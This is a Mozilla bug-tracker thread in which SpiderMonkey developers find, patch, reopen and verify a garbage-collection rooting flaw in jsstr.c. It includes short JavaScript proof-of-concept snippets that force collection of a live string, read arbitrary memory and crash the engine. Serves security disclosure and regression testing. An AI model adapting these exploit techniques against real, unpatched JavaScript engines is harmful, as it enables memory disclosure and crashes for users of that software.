Closed Bug 313276 Opened 19 years ago Closed 19 years ago

Unrooted strings in jsstr.c

Categories

(Core :: JavaScript Engine, defect, P1)

defect

Tracking

()

VERIFIED FIXED
mozilla1.8rc1

People

(Reporter: igor, Assigned: brendan)

Details

(Keywords: js1.6, verified1.7.13, verified1.8, Whiteboard: [sg:critical?])

Attachments

(4 files)

The following functions in jsstr.c do not root the results of js_ValueToString before calling GC-triggering operations: str_substring str_decodeURI str_decodeURI_Component str_encodeURI str_encodeURI_Component The encode/decode cases is only exploitable if one can create a situation when GC is triggered in js_NewString that is called later in Decode/Encode after the return from js_ValueToString. The case of str_substring is trivially exploitable to read arbitrary region in address space via JSString->double subversion like the following example demonstrates: obj = { toString: function() { return "*TEST*".substr(1, 4); } }; var TMP = 1e200; likeZero = { valueOf: function() { if (typeof gc == "function") gc(); for (var i = 0; i != 40000; ++i) { var tmp = 2 / TMP; tmp = null; } return 0; } } var expected = "TEST"; var actual = String.prototype.substr.call(obj, likeZero); print("Substring length: "+actual.length); print(expected === actual); On my box executing it gives in js shell: before 3690, after 3654, break 08a40000 Substring length: 357496748 Segmentation fault where 357496748 comes from 1e-200 interpreted as JSString.
Flags: blocking1.8rc1?
Flags: blocking1.7.13+
Flags: blocking-aviary1.0.8+
Whiteboard: [sg:critical?]
->brendan.
Assignee: general → brendan
Flags: blocking1.8rc1? → blocking1.8rc1+
Asa: I'm relying on mrbkap (thanks and praise to him) for fixing. This may not be fair (hey, I didn't write str_decodeURI, str_decodeURI_Component, str_encodeURI, or str_encodeURI_Component -- mccabe or rogerl did), but that's life. I am to blame for the lack of automatic local roots. FYI for future reassigning. /be
Assignee: brendan → mrbkap
Keywords: js1.6
OS: Linux → All
Priority: -- → P1
Hardware: PC → All
Target Milestone: --- → mozilla1.8rc1
This goes back to brendan. Thanks!
Assignee: mrbkap → brendan
str_resolve and str_enumerate in jsstr.c also do not root results of js_ValueToString which bring them to the same company where str_decodeURL etc. are. That is, they are exploitable only if js_NewDependentString that follows js_ValueToString would cause GC.
(In reply to comment #4) > str_resolve and str_enumerate in jsstr.c also do not root results of > js_ValueToString which bring them to the same company where str_decodeURL etc. > are. That is, they are exploitable only if js_NewDependentString that follows > js_ValueToString would cause GC. These are ok. First, it would be the OBJ_DEFINE_PROPERTY, or some later operation that might GC, that would cause the js_ValueToString(cx, OBJECT_TO_JSVAL(obj)) result to be collected, if it had no other strong refs. This is because that result is protected by the newborn string across the js_NewDependentString call, even though that call may overwrite that newborn (if both strings are the same GCX_* type). Second, in these cases (str_resolve and str_enumerate), js_NewDependentString creates a rooted new string that strongly refs its base string, the result of the js_ValueToString. So the chain of refs from newborn for dependent, through dependent base, keeps the first string alive. Once the property value being defined is committed, the dependent is protected by more than *its* newborn. /be
Status: NEW → ASSIGNED
str_substring uses the argv[-1] explicit local root to protect the result of its js_ValueToString(cx, OBJECT_TO_JSVAL(obj)), so it is ok. There are a number of other bad native methods than the Edition 3 encode/decode URi ones, however. Patch anon. /be
per http://www.mozilla.org/js/spidermonkey/gctips.html -- sigh. Fragile model that is easy to forget to use. We will put it to rest on the trunk shortly. This is good for 1.8. mrbkap feel free to review as well. /be
Attachment #200481 - Flags: superreview?(shaver)
Attachment #200481 - Flags: review?(igor.bukanov)
Flags: testcase+
(In reply to comment #5) > These are ok. Counter example: var prepared_string = String(1); String(2); // to remove prepared_string from newborn var strObj = new String(""); strObj.toString = function() { var tmp = prepared_string; prepared_string = null; return tmp; } var not_one_count = 0; for each (var s in strObj) { if (s !== '1') ++not_one_count; } print("not_one_count="+not_one_count); If I recompile js shell with TOO_MUCH_GC defined, its execution instead of printing expected 1 coming from "toString" property, produces on my box: Assertion failure: flags != GCF_FINAL, at jsgc.c:1040 Trace/breakpoint trap
Comment on attachment 200481 [details] [diff] [review] simple use of explicit local roots The patch does not solve all the problems per comment 9 :(
Attachment #200481 - Flags: review?(igor.bukanov) → review-
Comment on attachment 200481 [details] [diff] [review] simple use of explicit local roots This patch is correct, but insufficient. The str_enumerate and str_resolve problems Igor points out (old-borns cut off from the live thing graph) remain. New patch to fix those in addition, I hope. /be
Attachment #200481 - Flags: superreview?(shaver)
Attachment #200481 - Flags: review-
The alternative is the cx->lastInvokeResult root Igor proposed, which we were trying not to take for 1.8/fx1.5 for fear of entrainment problems, and assuming we can spot-fix problems more safely. Not clear that is a good assumption, but here are two more spot (hack) fixes, plus the saner explicit local root fixes from the first patch. /be
Attachment #200524 - Flags: superreview?(shaver)
Attachment #200524 - Flags: review?(igor.bukanov)
With the patch applied only the following functions in jsstr.c contain calls to ValueToString without immediate rooting of the result: str_getProperty -- this is safe str_localeCompare -- safe if cx->localeCallbacks->localeCompare safe match_or_replace -- need some time to check find_replen -- need some time to check But perhaps it is better to add explicit rooting in all the places just to make sure?
Unrelated to the bug curiosity question: why str_getProperty, str_enumerate and str_resolve use ValueToString and not simply OBJ_GET_SLOT(cx, obj, JSSLOT_PRIVATE) like str_valueOf and str_toString do?
I fixed str_localeCompare to root thatStr using argv[0] -- thanks. (In reply to comment #14) > Unrelated to the bug curiosity question: why str_getProperty, str_enumerate and > str_resolve use ValueToString and not simply OBJ_GET_SLOT(cx, obj, > JSSLOT_PRIVATE) like str_valueOf and str_toString do? Good question. Only the getter (and a setter, if there were one) needs to be generic: s = new String('hello'); o = {__proto__: s}; print(o[0]); You can inspect the engine for resolve/newresolve and enumerate calls and show that their obj param is guaranteed to be of the class whose hook is being called -- not so with getters and setters. Thanks, an even better patch coming up. /be
Attachment #200552 - Flags: superreview?(shaver)
Attachment #200552 - Flags: review?(igor.bukanov)
Comment on attachment 200524 [details] [diff] [review] first patch plus newborn root hacking in str_enumerate and str_resolve If remaining cases turned out to be problematic, I will report them as a separated bug.
Attachment #200524 - Flags: review?(igor.bukanov) → review+
Comment on attachment 200524 [details] [diff] [review] first patch plus newborn root hacking in str_enumerate and str_resolve Igor, if you are convinced the next patch is better, please r+ it and I'll check it into the trunk. Thanks, /be
Attachment #200524 - Flags: superreview?(shaver)
Comment on attachment 200552 [details] [diff] [review] best patch yet, hope this is it for jsstr.c Yes, this is better :) Although IMO even for getProperty for consistency it would be better to get length from the string from the private slot of the right string, this is unrelated 100% to this bug.
Attachment #200552 - Flags: review?(igor.bukanov) → review+
Comment on attachment 200552 [details] [diff] [review] best patch yet, hope this is it for jsstr.c sr=shaver
Attachment #200552 - Flags: superreview?(shaver) → superreview+
(In reply to comment #19) > (From update of attachment 200552 [details] [diff] [review] [edit]) > Yes, this is better :) > > Although IMO even for getProperty for consistency it would be better to get > length from the string from the private slot of the right string, this is > unrelated 100% to this bug. ECMA-262 makes most string and array methods generic, so any object can use 'em (via Function.prototype.call/.apply, or in SpiderMonkey now via generic static methods of the same name, e.g. String.slice). So str_getProperty does likewise and converts from object to string. Fixed on trunk. /be
Comment on attachment 200552 [details] [diff] [review] best patch yet, hope this is it for jsstr.c Time is running out for tonight. /be
Attachment #200552 - Flags: approval1.8rc1?
Comment on attachment 200552 [details] [diff] [review] best patch yet, hope this is it for jsstr.c a=dveditz
Attachment #200552 - Flags: approval1.8rc1? → approval1.8rc1+
Fixed on branch and trunk. /be
Status: ASSIGNED → RESOLVED
Closed: 19 years ago
Keywords: fixed1.8
Resolution: --- → FIXED
This fix caused bug 313565. /be
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Comment on attachment 200552 [details] [diff] [review] best patch yet, hope this is it for jsstr.c >@@ -543,19 +550,20 @@ str_enumerate(JSContext *cx, JSObject *o ... >- str = js_ValueToString(cx, OBJECT_TO_JSVAL(obj)); >+ str = (JSString *) JS_GetPrivate(cx, obj); ... >@@ -570,19 +578,20 @@ str_resolve(JSContext *cx, JSObject *obj > JSObject **objp) > { ... >- str = js_ValueToString(cx, OBJECT_TO_JSVAL(obj)); >+ str = (JSString *) JS_GetPrivate(cx, obj); Note that this is a change in functinality if someone relied on the ability to redefine String object "string" value. But why would anybody want this?
(In reply to comment #26) > (From update of attachment 200552 [details] [diff] [review] [edit]) > >@@ -543,19 +550,20 @@ str_enumerate(JSContext *cx, JSObject *o > ... > >- str = js_ValueToString(cx, OBJECT_TO_JSVAL(obj)); > >+ str = (JSString *) JS_GetPrivate(cx, obj); > ... > >@@ -570,19 +578,20 @@ str_resolve(JSContext *cx, JSObject *obj > > JSObject **objp) > > { > ... > >- str = js_ValueToString(cx, OBJECT_TO_JSVAL(obj)); > >+ str = (JSString *) JS_GetPrivate(cx, obj); First, this was just totally broken: JS_GetPrivate returns null for any private data slot value that's not int-tagged. OBJ_GET_SLOT(cx, obj, JSSLOT_PRIVATE) and then JSVAL_TO_STRING if not JSVAL_VOID would be required. > Note that this is a change in functinality if someone relied on the ability to > redefine String object "string" value. But why would anybody want this? I don't think any Firefox code does, based on some debugging code I've added. But who knows? Compatibility is king. I don't think we can change this. At least, not right not for Mozilla1.8/Firefox1.5/JS1.6. /be
Status: REOPENED → ASSIGNED
Let's take this resolve/enumerate js_ValueToString issue up in the followup bug Igor filed, bug 313567. /be
Status: ASSIGNED → RESOLVED
Closed: 19 years ago19 years ago
Resolution: --- → FIXED
on winxp 1.8b5_2005102412: ecma_3/String/regress-313276.js failed, Expected exit code 0, got 3 STATUS: Root strings before 5346, after 5283, break 00000000 STATUS: Substring length: 4 ./ecma_3/shell.js:101: TypeError: msg.split is not a function 1.9a1_2005102413: crashed.
(In reply to comment #29) The failure in the testcase on branch is bug in the testcase line 69 where it passes a boolean to the printStatus function. After repulling and rebuilding the shell, I can not reproduce the crash. Sorry for the false alarm.
Fix checked into 1.7 branch.
v ff on 1.7.13, 1.8.0.1, 1.8, 1.9a1 on windows/linux/mac 20060221 builds, moz on 1.7.13 on windows 20060221 builds.
Group: security
RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-313276.js,v done Checking in regress-313276.js; /cvsroot/mozilla/js/tests/js1_5/GC/regress-313276.js,v <-- regress-313276.js initial revision: 1.1 done
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